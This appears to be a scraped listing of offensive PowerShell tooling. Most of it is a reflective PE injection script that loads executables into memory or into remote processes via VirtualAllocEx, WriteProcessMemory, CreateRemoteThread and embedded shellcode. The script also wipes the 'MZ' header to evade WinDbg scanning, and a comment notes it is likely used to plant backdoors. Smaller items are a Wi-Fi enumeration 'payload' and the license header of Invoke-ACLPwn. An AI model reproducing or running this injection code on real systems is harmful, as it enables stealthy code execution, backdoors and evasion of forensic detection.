        $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -
Win32Types $Win32Types -Win32Constants $Win32Constants

        #Get the export table
        if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.Export
Table.Size -eq 0)
        {
            return [IntPtr]::Zero
        }
        $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHand
le) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.V
irtualAddress)
        $ExportTable = [System.Runtime.InteropServices.Mar
shal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.I
MAGE_EXPORT_DIRECTORY)
```

```
        for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i
++)
        {
            #AddressOfNames is an array of pointers to str
ings of the names of the functions exported
            $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEH
andle) ($ExportTable.AddressOfNames + ($i * [System.Runtim
e.InteropServices.Marshal]::SizeOf([Type][UInt32])))
            $NamePtr = Add-SignedIntAsUnsigned ($PEHandle)
([System.Runtime.InteropServices.Marshal]::PtrToStructure
($NameOffsetPtr, [Type][UInt32]))
            $Name = [System.Runtime.InteropServices.Marsha
l]::PtrToStringAnsi($NamePtr)

            if ($Name -ceq $FunctionName)
            {
                #AddressOfNameOrdinals is a table which co
ntains points to a WORD which is the index in to AddressOf
Functions
                #    which contains the offset of the func
tion in to the DLL
                $OrdinalPtr = Add-SignedIntAsUnsigned ($PE
Handle) ($ExportTable.AddressOfNameOrdinals + ($i * [Syste
m.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt1
6])))
                $FuncIndex = [System.Runtime.InteropServic
es.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16])
                $FuncOffsetAddr = Add-SignedIntAsUnsigned
($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex
* [System.Runtime.InteropServices.Marshal]::SizeOf([Type]
[UInt32])))
                $FuncOffset = [System.Runtime.InteropServi
ces.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt3
2])
                return Add-SignedIntAsUnsigned ($PEHandle)
($FuncOffset)
```

```
            }
        }

        return [IntPtr]::Zero
    }


    Function Invoke-MemoryLoadLibrary
    {
        Param(
        [Parameter( Position = 0, Mandatory = $true )]
        [Byte[]]
        $PBytes,

        [Parameter(Position = 1, Mandatory = $false)]
        [String]
        $ExeArgs,

        [Parameter(Position = 2, Mandatory = $false)]
        [IntPtr]
        $RemoteProcHandle,

        [Parameter(Position = 3)]
        [Bool]
        $ForceASLR = $false
        )

        $PtrSize = [System.Runtime.InteropServices.Marsha
l]::SizeOf([Type][IntPtr])

        #Get Win32 constants and functions
        $Win32Constants = Get-Win32Constants
        $Win32Functions = Get-Win32Functions
        $Win32Types = Get-Win32Types

        $RemoteLoading = $false
```

```
        if (($RemoteProcHandle -ne $null) -and ($RemotePro
cHandle -ne [IntPtr]::Zero))
        {
            $RemoteLoading = $true
        }

        #Get basic PE information
        Write-Verbose "Getting basic PE information from t
he file"
        $PEInfo = Get-PEBasicInfo -PBytes $PBytes -Win32Ty
pes $Win32Types
        $OriginalImageBase = $PEInfo.OriginalImageBase
        $NXCompatible = $true
        if (([Int] $PEInfo.DllCharacteristics -band $Win32
Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Co
nstants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
        {
            Write-Warning "PE is not compatible with DEP,
might cause issues" -WarningAction Continue
            $NXCompatible = $false
        }

        #Verify that the PE and the current process are th
e same bits (32bit or 64bit)
        $Process64Bit = $true
        if ($RemoteLoading -eq $true)
        {
            $Kernel32Handle = $Win32Functions.GetModuleHan
dle.Invoke("kernel32.dll")
            $Result = $Win32Functions.GetProcAddress.Invok
e($Kernel32Handle, "IsWow64Process")
            if ($Result -eq [IntPtr]::Zero)
            {
                Throw "Couldn't locate IsWow64Process func
tion to determine if target process is 32bit or 64bit"
            }
```

```
            [Bool]$Wow64Process = $false
            $Success = $Win32Functions.IsWow64Process.Invo
ke($RemoteProcHandle, [Ref]$Wow64Process)
            if ($Success -eq $false)
            {
                Throw "Call to IsWow64Process failed"
            }

            if (($Wow64Process -eq $true) -or (($Wow64Proc
ess -eq $false) -and ([System.Runtime.InteropServices.Mars
hal]::SizeOf([Type][IntPtr]) -eq 4)))
            {
                $Process64Bit = $false
            }

            #PowerShell needs to be same bit as the PE bei
ng loaded for IntPtr to work correctly
            $PowerShell64Bit = $true
            if ([System.Runtime.InteropServices.Marshal]::
SizeOf([Type][IntPtr]) -ne 8)
            {
                $PowerShell64Bit = $false
            }
            if ($PowerShell64Bit -ne $Process64Bit)
            {
                throw "PowerShell must be same architectur
e (x86/x64) as PE being loaded and remote process"
            }
        }
        else
        {
            if ([System.Runtime.InteropServices.Marshal]::
SizeOf([Type][IntPtr]) -ne 8)
            {
                $Process64Bit = $false
```

```
            }
        }
        if ($Process64Bit -ne $PEInfo.PE64Bit)
        {
            Throw "PE platform doesn't match the architect
ure of the process it is being loaded in (32/64bit)"
        }

        #Allocate memory and write the PE to memory. If th
e PE supports ASLR, allocate to a random memory address
        Write-Verbose "Allocating memory for the PE and wr
ite its headers to memory"

        #ASLR check
        [IntPtr]$LoadAddr = [IntPtr]::Zero
        $PESupportsASLR = ([Int] $PEInfo.DllCharacteristic
s -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_B
ASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_
BASE
        if ((-not $ForceASLR) -and (-not $PESupportsASLR))
        {
            Write-Warning "PE file being reflectively load
ed is not ASLR compatible. If the loading fails, try resta
rting PowerShell and trying again OR try using the -ForceA
SLR flag (could cause crashes)" -WarningAction Continue
            [IntPtr]$LoadAddr = $OriginalImageBase
        }
        elseif ($ForceASLR -and (-not $PESupportsASLR))
        {
            Write-Verbose "PE file doesn't support ASLR bu
t -ForceASLR is set. Forcing ASLR on the PE file. This cou
ld result in a crash."
        }

        if ($ForceASLR -and $RemoteLoading)
        {
```

```
            Write-Error "Cannot use ForceASLR when loading
in to a remote process." -ErrorAction Stop
        }
        if ($RemoteLoading -and (-not $PESupportsASLR))
        {
            Write-Error "PE doesn't support ASLR. Cannot l
oad a non-ASLR PE in to a remote process" -ErrorAction Sto
p
        }

        $PEHandle = [IntPtr]::Zero              #This is w
here the PE is allocated in PowerShell
        $EffectivePEHandle = [IntPtr]::Zero     #This is t
he address the PE will be loaded to. If it is loaded in Po
werShell, this equals $PEHandle. If it is loaded in a remo
te process, this is the address in the remote process.
        if ($RemoteLoading -eq $true)
        {
            #Allocate space in the remote process, and als
o allocate space in PowerShell. The PE will be setup in Po
werShell and copied to the remote process when it is setup
            $PEHandle = $Win32Functions.VirtualAlloc.Invok
e([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Cons
tants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32C
onstants.PAGE_READWRITE)

            #todo, error handling needs to delete this mem
ory if an error happens along the way
            $EffectivePEHandle = $Win32Functions.VirtualAl
locEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInf
o.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Const
ants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
            if ($EffectivePEHandle -eq [IntPtr]::Zero)
            {
                Throw "Unable to allocate memory in the re
mote process. If the PE being loaded doesn't support ASLR,
```

```
it could be that the requested base address of the PE is a
lready in use"
            }
        }
        else
        {
            if ($NXCompatible -eq $true)
            {
                $PEHandle = $Win32Functions.VirtualAlloc.I
nvoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Const
ants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Co
nstants.PAGE_READWRITE)
            }
            else
            {
                $PEHandle = $Win32Functions.VirtualAlloc.I
nvoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Const
ants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Co
nstants.PAGE_EXECUTE_READWRITE)
            }
            $EffectivePEHandle = $PEHandle
        }

        [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned
($PEHandle) ([Int64]$PEInfo.SizeOfImage)
        if ($PEHandle -eq [IntPtr]::Zero)
        {
            Throw "VirtualAlloc failed to allocate memory
for PE. If PE is not ASLR compatible, try running the scri
pt in a new PowerShell process (the new PowerShell process
will have a different memory layout, so the address the PE
wants might be free)."
        }
        [System.Runtime.InteropServices.Marshal]::Copy($PB
ytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null
```

```
        #Now that the PE is in memory, get more detailed i
nformation about it
        Write-Verbose "Getting detailed PE information fro
m the headers loaded in memory"
        $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -
Win32Types $Win32Types -Win32Constants $Win32Constants
        $PEInfo | Add-Member -MemberType NoteProperty -Nam
e EndAddress -Value $PEEndAddress
        $PEInfo | Add-Member -MemberType NoteProperty -Nam
e EffectivePEHandle -Value $EffectivePEHandle
        Write-Verbose "StartAddress: $(Get-Hex $PEHandle)
EndAddress: $(Get-Hex $PEEndAddress)"


        #Copy each section from the PE in to memory
        Write-Verbose "Copy PE sections in to memory"
        Copy-Sections -PBytes $PBytes -PEInfo $PEInfo -Win
32Functions $Win32Functions -Win32Types $Win32Types


        #Update the memory addresses hardcoded in to the P
E based on the memory address the PE was expecting to be l
oaded to vs where it was actually loaded
        Write-Verbose "Update memory addresses based on wh
ere the PE was actually loaded in memory"
        Update-MemoryAddresses -PEInfo $PEInfo -OriginalIm
ageBase $OriginalImageBase -Win32Constants $Win32Constants
-Win32Types $Win32Types


        #The PE we are in-memory loading has DLLs it need
s, import those DLLs for it
        Write-Verbose "Import DLL's needed by the PE we ar
e loading"
        if ($RemoteLoading -eq $true)
```

```
        {
            Import-DllImports -PEInfo $PEInfo -Win32Functi
ons $Win32Functions -Win32Types $Win32Types -Win32Constant
s $Win32Constants -RemoteProcHandle $RemoteProcHandle
        }
        else
        {
            Import-DllImports -PEInfo $PEInfo -Win32Functi
ons $Win32Functions -Win32Types $Win32Types -Win32Constant
s $Win32Constants
        }


        #Update the memory protection flags for all the me
mory just allocated
        if ($RemoteLoading -eq $false)
        {
            if ($NXCompatible -eq $true)
            {
                Write-Verbose "Update memory protection fl
ags"
                Update-MemoryProtectionFlags -PEInfo $PEIn
fo -Win32Functions $Win32Functions -Win32Constants $Win32C
onstants -Win32Types $Win32Types
            }
            else
            {
                Write-Verbose "PE being reflectively loade
d is not compatible with NX memory, keeping memory as read
write execute"
            }
        }
        else
        {
            Write-Verbose "PE being loaded in to a remote
process, not adjusting memory permissions"
```

```
        }


        #If remote loading, copy the DLL in to remote proc
ess memory
        if ($RemoteLoading -eq $true)
        {
            [UInt32]$NumBytesWritten = 0
            $Success = $Win32Functions.WriteProcessMemory.
Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle,
[UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten)
            if ($Success -eq $false)
            {
                Throw "Unable to write shellcode to remote
process memory."
            }
        }


        #Call the entry point, if this is a DLL the entryp
oint is the DllMain function, if it is an EXE it is the Ma
in function
        if ($PEInfo.FileType -ieq "DLL")
        {
            if ($RemoteLoading -eq $false)
            {
                Write-Verbose "Calling dllmain so the DLL
knows it has been loaded"
                $DllMainPtr = Add-SignedIntAsUnsigned ($PE
Info.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.Ad
dressOfEntryPoint)
                $DllMainDelegate = Get-DelegateType @([Int
Ptr], [UInt32], [IntPtr]) ([Bool])
                $DllMain = [System.Runtime.InteropService
s.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $Dl
lMainDelegate)
```

```
                $DllMain.Invoke($PEInfo.PEHandle, 1, [IntP
tr]::Zero) | Out-Null
            }
            else
            {
                $DllMainPtr = Add-SignedIntAsUnsigned ($Ef
fectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.
AddressOfEntryPoint)

                if ($PEInfo.PE64Bit -eq $true)
                {
                    #Shellcode: CallDllMain.asm
                    $CallDllMainSC1 = @(0x53, 0x48, 0x89,
0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9)
                    $CallDllMainSC2 = @(0xba, 0x01, 0x00,
0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb
8)
                    $CallDllMainSC3 = @(0xff, 0xd0, 0x48,
0x89, 0xdc, 0x5b, 0xc3)
                }
                else
                {
                    #Shellcode: CallDllMain.asm
                    $CallDllMainSC1 = @(0x53, 0x89, 0xe3,
0x83, 0xe4, 0xf0, 0xb9)
                    $CallDllMainSC2 = @(0xba, 0x01, 0x00,
0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x5
1, 0xb8)
                    $CallDllMainSC3 = @(0xff, 0xd0, 0x89,
0xdc, 0x5b, 0xc3)
                }
                $SCLength = $CallDllMainSC1.Length + $Call
DllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize *
2)
                $SCPSMem = [System.Runtime.InteropService
```

```
s.Marshal]::AllocHGlobal($SCLength)
                $SCPSMemOriginal = $SCPSMem

                Write-BytesToMemory -Bytes $CallDllMainSC1
-MemoryAddress $SCPSMem
                $SCPSMem = Add-SignedIntAsUnsigned $SCPSMe
m ($CallDllMainSC1.Length)
                [System.Runtime.InteropServices.Marshal]::
StructureToPtr($EffectivePEHandle, $SCPSMem, $false)
                $SCPSMem = Add-SignedIntAsUnsigned $SCPSMe
m ($PtrSize)
                Write-BytesToMemory -Bytes $CallDllMainSC2
-MemoryAddress $SCPSMem
                $SCPSMem = Add-SignedIntAsUnsigned $SCPSMe
m ($CallDllMainSC2.Length)
                [System.Runtime.InteropServices.Marshal]::
StructureToPtr($DllMainPtr, $SCPSMem, $false)
                $SCPSMem = Add-SignedIntAsUnsigned $SCPSMe
m ($PtrSize)
                Write-BytesToMemory -Bytes $CallDllMainSC3
-MemoryAddress $SCPSMem
                $SCPSMem = Add-SignedIntAsUnsigned $SCPSMe
m ($CallDllMainSC3.Length)

                $RSCAddr = $Win32Functions.VirtualAllocEx.
Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt6
4]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constan
ts.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
                if ($RSCAddr -eq [IntPtr]::Zero)
                {
                    Throw "Unable to allocate memory in th
e remote process for shellcode"
                }

                $Success = $Win32Functions.WriteProcessMem
ory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal,
```

```
[UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
                if (($Success -eq $false) -or ([UInt64]$Nu
mBytesWritten -ne [UInt64]$SCLength))
                {
                    Throw "Unable to write shellcode to re
mote process memory."
                }

                $RThreadHandle = Create-RemoteThread -Proc
essHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32F
unctions $Win32Functions
                $Result = $Win32Functions.WaitForSingleObj
ect.Invoke($RThreadHandle, 20000)
                if ($Result -ne 0)
                {
                    Throw "Call to CreateRemoteThread to c
all GetProcAddress failed."
                }

                $Win32Functions.VirtualFreeEx.Invoke($Remo
teProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constant
s.MEM_RELEASE) | Out-Null
            }
        }
        elseif ($PEInfo.FileType -ieq "EXE")
        {
            #Overwrite GetCommandLine and ExitProcess so w
e can provide our own arguments to the EXE and prevent it
from killing the PS process
            [IntPtr]$ExeDoneBytePtr = [System.Runtime.Inte
ropServices.Marshal]::AllocHGlobal(1)
            [System.Runtime.InteropServices.Marshal]::Writ
eByte($ExeDoneBytePtr, 0, 0x00)
            $OverwrittenMemInfo = Update-ExeFunctions -PEI
nfo $PEInfo -Win32Functions $Win32Functions -Win32Constant
s $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr
```

```
$ExeDoneBytePtr

            #If this is an EXE, call the entry point in a
new thread. We have overwritten the ExitProcess function t
o instead ExitThread
            #   This way the reflectively loaded EXE won't
kill the powershell process when it exits, it will just ki
ll its own thread.
            [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned
($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeade
r.AddressOfEntryPoint)
            Write-Verbose "Call EXE Main function. Addres
s: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to
run in."

            $Win32Functions.CreateThread.Invoke([IntPtr]::
Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt3
2]0), [Ref]([UInt32]0)) | Out-Null

            while($true)
            {
                [Byte]$ThreadDone = [System.Runtime.Intero
pServices.Marshal]::ReadByte($ExeDoneBytePtr, 0)
                if ($ThreadDone -eq 1)
                {
                    Copy-ArrayOfMemAddresses -CopyInfo $Ov
erwrittenMemInfo -Win32Functions $Win32Functions -Win32Con
stants $Win32Constants
                    Write-Verbose "EXE thread has complete
d."
                    break
                }
                else
                {
                    Start-Sleep -Seconds 1
                }
```

```
            }
        }

        return @($PEInfo.PEHandle, $EffectivePEHandle)
    }


    Function Invoke-MemoryFreeLibrary
    {
        Param(
        [Parameter(Position=0, Mandatory=$true)]
        [IntPtr]
        $PEHandle
        )

        #Get Win32 constants and functions
        $Win32Constants = Get-Win32Constants
        $Win32Functions = Get-Win32Functions
        $Win32Types = Get-Win32Types

        $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -
Win32Types $Win32Types -Win32Constants $Win32Constants

        #Call FreeLibrary for all the imports of the DLL
        if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.Import
Table.Size -gt 0)
        {
            [IntPtr]$ImportDescriptorPtr = Add-SignedIntAs
Unsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_N
T_HEADERS.OptionalHeader.ImportTable.VirtualAddress)

            while ($true)
            {
                $ImportDescriptor = [System.Runtime.Intero
pServices.Marshal]::PtrToStructure($ImportDescriptorPtr,
[Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
```

```
                #If the structure is null, it signals that
this is the end of the array
                if ($ImportDescriptor.Characteristics -eq
0 `
                        -and $ImportDescriptor.FirstThunk
-eq 0 `
                        -and $ImportDescriptor.ForwarderCh
ain -eq 0 `
                        -and $ImportDescriptor.Name -eq 0
`
                        -and $ImportDescriptor.TimeDateSta
mp -eq 0)
                {
                    Write-Verbose "Done unloading the libr
aries needed by the PE"
                    break
                }

                $ImportDllPath = [System.Runtime.InteropSe
rvices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned
([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Nam
e)))
                $ImportDllHandle = $Win32Functions.GetModu
leHandle.Invoke($ImportDllPath)

                if ($ImportDllHandle -eq $null)
                {
                    Write-Warning "Error getting DLL handl
e in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuin
g anyways" -WarningAction Continue
                }

                $Success = $Win32Functions.FreeLibrary.Inv
oke($ImportDllHandle)
                if ($Success -eq $false)
```

```
                {
                    Write-Warning "Unable to free library:
$ImportDllPath. Continuing anyways." -WarningAction Contin
ue
                }

                $ImportDescriptorPtr = Add-SignedIntAsUnsi
gned ($ImportDescriptorPtr) ([System.Runtime.InteropServic
es.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIP
TOR))
            }
        }

        #Call DllMain with process detach
        Write-Verbose "Calling dllmain so the DLL knows it
is being unloaded"
        $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEH
andle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfE
ntryPoint)
        $DllMainDelegate = Get-DelegateType @([IntPtr], [U
Int32], [IntPtr]) ([Bool])
        $DllMain = [System.Runtime.InteropServices.Marsha
l]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDel
egate)

        $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zer
o) | Out-Null


        $Success = $Win32Functions.VirtualFree.Invoke($PEH
andle, [UInt64]0, $Win32Constants.MEM_RELEASE)
        if ($Success -eq $false)
        {
            Write-Warning "Unable to call VirtualFree on t
he PE's memory. Continuing anyways." -WarningAction Contin
ue
```

```
        }
    }


    Function Main
    {
        $Win32Functions = Get-Win32Functions
        $Win32Types = Get-Win32Types
        $Win32Constants =  Get-Win32Constants

        $RemoteProcHandle = [IntPtr]::Zero

        #If a remote process to inject in to is specified,
get a handle to it
        if (($ProcId -ne $null) -and ($ProcId -ne 0) -and
($ProcName -ne $null) -and ($ProcName -ne ""))
        {
            Throw "Can't supply a ProcId and ProcName, cho
ose one or the other"
        }
        elseif ($ProcName -ne $null -and $ProcName -ne "")
        {
            $Processes = @(Get-Process -Name $ProcName -Er
rorAction SilentlyContinue)
            if ($Processes.Count -eq 0)
            {
                Throw "Can't find process $ProcName"
            }
            elseif ($Processes.Count -gt 1)
            {
                $ProcInfo = Get-Process | Where-Object {
$_.Name -eq $ProcName } | Select-Object ProcessName, Id, S
essionId
                Write-Output $ProcInfo
                Throw "More than one instance of $ProcName
found, please specify the process ID to inject in to."
```

```
            }
            else
            {
                $ProcId = $Processes[0].ID
            }
        }

        #Just realized that PowerShell launches with SeDeb
ugPrivilege for some reason.. So this isn't needed. Keepin
g it around just incase it is needed in the future.
        #If the script isn't running in the same Windows l
ogon session as the target, get SeDebugPrivilege
#       if ((Get-Process -Id $PID).SessionId -ne (Get-Proc
ess -Id $ProcId).SessionId)
#       {
#           Write-Verbose "Getting SeDebugPrivilege"
#           Enable-SeDebugPrivilege -Win32Functions $Win32
Functions -Win32Types $Win32Types -Win32Constants $Win32Co
nstants
#       }

        if (($ProcId -ne $null) -and ($ProcId -ne 0))
        {
            $RemoteProcHandle = $Win32Functions.OpenProces
s.Invoke(0x001F0FFF, $false, $ProcId)
            if ($RemoteProcHandle -eq [IntPtr]::Zero)
            {
                Throw "Couldn't obtain the handle for proc
ess ID: $ProcId"
            }

            Write-Verbose "Got the handle for the remote p
rocess to inject in to"
        }
```

```
        #Load the PE reflectively
        Write-Verbose "Calling Invoke-MemoryLoadLibrary"
        $PEHandle = [IntPtr]::Zero
        if ($RemoteProcHandle -eq [IntPtr]::Zero)
        {
            $PELoadedInfo = Invoke-MemoryLoadLibrary -PByt
es $PBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR
        }
        else
        {
            $PELoadedInfo = Invoke-MemoryLoadLibrary -PByt
es $PBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProc
Handle -ForceASLR $ForceASLR
        }
        if ($PELoadedInfo -eq [IntPtr]::Zero)
        {
            Throw "Unable to load PE, handle returned is N
ULL"
        }

        $PEHandle = $PELoadedInfo[0]
        $RemotePEHandle = $PELoadedInfo[1] #only matters i
f you loaded in to a remote process


        #Check if EXE or DLL. If EXE, the entry point was
already called and we can now return. If DLL, call user fu
nction.
        $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -
Win32Types $Win32Types -Win32Constants $Win32Constants
        if (($PEInfo.FileType -ieq "DLL") -and ($RemotePro
cHandle -eq [IntPtr]::Zero))
        {
            ##########################################
            ### YOUR CODE GOES HERE
            ##########################################
```

```
            switch ($FuncReturnType)
            {
                'WString' {
                    Write-Verbose "Calling function with W
String return type"
                    [IntPtr]$WStringFuncAddr = Get-MemoryP
rocAddress -PEHandle $PEHandle -FunctionName "WStringFunc"
                    if ($WStringFuncAddr -eq [IntPtr]::Zer
o)
                    {
                        Throw "Couldn't find function addr
ess."
                    }
                    $WStringFuncDelegate = Get-DelegateTyp
e @() ([IntPtr])
                    $WStringFunc = [System.Runtime.Interop
Services.Marshal]::GetDelegateForFunctionPointer($WStringF
uncAddr, $WStringFuncDelegate)
                    [IntPtr]$OutputPtr = $WStringFunc.Invo
ke()
                    $Output = [System.Runtime.InteropServi
ces.Marshal]::PtrToStringUni($OutputPtr)
                    Write-Output $Output
                }

                'String' {
                    Write-Verbose "Calling function with S
tring return type"
                    [IntPtr]$StringFuncAddr = Get-MemoryPr
ocAddress -PEHandle $PEHandle -FunctionName "StringFunc"
                    if ($StringFuncAddr -eq [IntPtr]::Zer
o)
                    {
                        Throw "Couldn't find function addr
ess."
                    }
```

```
                    $StringFuncDelegate = Get-DelegateType
@() ([IntPtr])
                    $StringFunc = [System.Runtime.InteropS
ervices.Marshal]::GetDelegateForFunctionPointer($StringFun
cAddr, $StringFuncDelegate)
                    [IntPtr]$OutputPtr = $StringFunc.Invok
e()
                    $Output = [System.Runtime.InteropServi
ces.Marshal]::PtrToStringAnsi($OutputPtr)
                    Write-Output $Output
                }

                'Void' {
                    Write-Verbose "Calling function with V
oid return type"
                    [IntPtr]$VoidFuncAddr = Get-MemoryProc
Address -PEHandle $PEHandle -FunctionName "VoidFunc"
                    if ($VoidFuncAddr -eq [IntPtr]::Zero)
                    {
                        Throw "Couldn't find function addr
ess."
                    }
                    $VoidFuncDelegate = Get-DelegateType @
() ([Void])
                    $VoidFunc = [System.Runtime.InteropSer
vices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAdd
r, $VoidFuncDelegate)
                    $VoidFunc.Invoke() | Out-Null
                }
            }
            ##############################################
            ### END OF YOUR CODE
            ##############################################
        }
        #For remote DLL injection, call a void function wh
ich takes no parameters
```

```
        elseif (($PEInfo.FileType -ieq "DLL") -and ($Remot
eProcHandle -ne [IntPtr]::Zero))
        {
            $VoidFuncAddr = Get-MemoryProcAddress -PEHandl
e $PEHandle -FunctionName "VoidFunc"
            if (($VoidFuncAddr -eq $null) -or ($VoidFuncAd
dr -eq [IntPtr]::Zero))
            {
                Throw "VoidFunc couldn't be found in the D
LL"
            }

            $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidF
uncAddr $PEHandle
            $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidF
uncAddr $RemotePEHandle

            #Create the remote thread, don't wait for it t
o return.. This will probably mainly be used to plant back
doors
            $Null = Create-RemoteThread -ProcessHandle $Re
moteProcHandle -StartAddress $VoidFuncAddr -Win32Functions
$Win32Functions
        }

        #Don't free a library if it is injected in a remot
e process or if it is an EXE.
        #Note that all DLL's loaded by the EXE will remain
loaded in memory.
        if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEI
nfo.FileType -ieq "DLL")
        {
            Invoke-MemoryFreeLibrary -PEHandle $PEHandle
        }
        else
        {
```

```
            #Delete the PE file from memory.
            $Success = $Win32Functions.VirtualFree.Invoke
($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
            if ($Success -eq $false)
            {
                Write-Warning "Unable to call VirtualFree
on the PE's memory. Continuing anyways." -WarningAction Co
ntinue
            }
        }

        Write-Verbose "Done!"
    }

    Main
}

#Main function to either run the script locally or remotel
y
Function Main
{
    if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -
ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Deb
ug"].IsPresent)
    {
        $DebugPreference  = "Continue"
    }

    Write-Verbose "PowerShell ProcessID: $PID"

    #Verify the image is a valid PE file
    $e_magic = ($PBytes[0..1] | ForEach-Object {[Char]
$_}) -join ''

    if ($e_magic -ne 'MZ')
    {
```

```
        throw 'PE is not a valid PE file.'
    }

    if (-not $DoNotZeroMZ) {
        # Remove 'MZ' from the PE file so that it cannot b
e detected by .imgscan in WinDbg
        # TODO: Investigate how much of the header can be
destroyed, I'd imagine most of it can be.
        $PBytes[0] = 0
        $PBytes[1] = 0
    }

    #Add a "program name" to exeargs, just so the string l
ooks as normal as possible (real args start indexing at 1)
    if ($ExeArgs -ne $null -and $ExeArgs -ne '')
    {
        $ExeArgs = "ReflectiveExe $ExeArgs"
    }
    else
    {
        $ExeArgs = "ReflectiveExe"
    }

    if ($ComputerName -eq $null -or $ComputerName -imatch
"^\s*$")
    {
        Invoke-Command -ScriptBlock $RemoteScriptBlock -Ar
gumentList @($PBytes, $FuncReturnType, $ProcId, $ProcNam
e,$ForceASLR)
    }
    else
    {
        Invoke-Command -ScriptBlock $RemoteScriptBlock -Ar
gumentList @($PBytes, $FuncReturnType, $ProcId, $ProcNam
e,$ForceASLR) -ComputerName $ComputerName
    }
```

```
}

Main
}
```

▼ payloads/wifi.ps1

```
param(
    [switch]$scan,
    [switch]$on,
    [switch]$off,
    [switch]$pref
)

if ($scan){
   Write-Host "Getting all WIFI networks"
   netsh wlan sh net mode=bssid
} elseif ($on) {
   Write-Host "Turning WIFI on"
   netsh interface set interface name="Wi-Fi" admin=ENABLE
D
} elseif ($off) {
   Write-Host "Turning WIFI off"
   netsh interface set interface name="Wi-Fi" admin=DISABL
ED
} elseif ($pref) {
   Write-Host "Getting preferred WIFI networks"
   netsh wlan show profiles
}
```

▼ Invoke-ACLPwn.ps1

```
### Written by Rindert Kramer

####################
```

```
#
# Copyright (c) 2018 Fox-IT
#
# Permission is hereby granted, free of charge, to any per
son obtaining a copy
# of this software and associated documentation files (the
"Software"), to deal
# in the Software without restriction, including without l
imitation the rights
# to use, copy, modify, merge, publish, distribute, sublic
ense, and/or sell
# copies of the Software, and to permit persons to whom th
e Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice sh
all be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF AN
Y KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DA
MAGES OR OTHER
